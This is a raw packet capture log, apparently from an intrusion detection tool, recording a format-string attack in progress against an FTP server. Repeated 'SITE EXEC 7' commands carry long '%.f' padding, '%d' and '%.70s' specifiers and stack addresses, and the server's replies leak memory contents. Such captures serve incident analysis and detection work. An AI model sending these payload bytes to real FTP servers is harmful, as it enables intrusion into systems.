5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 68 86 0D 0A x|h...
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.569255 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800 len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1269 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9873E77 Ack:
0x4DD71C1F Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488808 490779
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.569396 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12100 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD71C1F Ack:
0xC9873E77 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490783 488808
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
54 DF FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 T...%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.640278 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1270 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9873E77 Ack:
0x4DD71E24 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488810 490783
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.642144 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1271 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9873E77 Ack:
0x4DD71E24 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488810 490783
53 49 54 45 20 45 58 45 43 20 37 20 0E DF FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.645315 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2CE
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12101 IpLen:20
DgmLen:704 DF
***AP*** Seq: 0x4DD71E24 Ack:
0xC9874076 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490790 488810
32 30 30 2D 37 20 0E DF FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 08 40 4C DE FF BF E6 81 0D 0A x|.@L.......
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.659487 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1272 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874076 Ack:
0x4DD720B0 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488812 490790
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.659582 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12102 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD720B0 Ack:
0xC9874076 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490792 488812
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
0E DF FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.779349 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1273 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874076 Ack:
0x4DD722B5 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488814 490792
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.779359 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1274 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9874076 Ack:
0x4DD722B5 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488814 490792
53 49 54 45 20 45 58 45 43 20 37 20 C8 DE FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.782377 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2CF
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12103 IpLen:20
DgmLen:705 DF
***AP*** Seq: 0x4DD722B5 Ack:
0xC9874275 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490804 488814
32 30 30 2D 37 20 C8 DE FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 7C 98 19 3D 38 D9 08 08 60 0D 0A x||..=8...`..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.828296 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1275 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9874275 Ack:
0x4DD72542 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488817 490804
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.828406 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12104 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD72542 Ack:
0xC9874275 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490807 488817
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
C8 DE FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
